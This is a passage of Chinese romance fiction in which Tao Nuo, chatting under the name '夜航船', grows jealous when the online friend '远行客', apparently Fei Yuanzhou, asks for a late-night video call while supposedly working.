电视里放着电视剧,陶诺眼睛一直盯着在看,但他根本不知道演的是什么。手机反复拿起又放下,费远洲在处理工作,不可能给他发消息。 墨阁私信突然跳出了消息。 远行客:【Baby,you up?】 夜航船:【怎么了?】 远行客:【方便吗,给你打视频】 不是在开会吗?还能打视频? 心里有点不舒服。 夜航船:【不方便】 远行客:【遗憾,还想让你看看我的工作状态的】 更不舒服了。 把陶诺给拒绝到了门外,却能给夜航船在线视频? 陶诺抓了一把薯片塞嘴里,咔滋咔滋猛嚼。 夜航船:【这么晚还在工作?】 远行客:【嗯,临时处理点事情】 陶诺一把接一把的薯片往嘴里塞,开会是假的吧?跟网友线上约会才是真的! 夜航船:【我要睡了】 远行客:【今天这么早?】 夜航船:【早点让你进入我的梦里】 夜航船:【看我烤鸽子吃!】 费远洲:……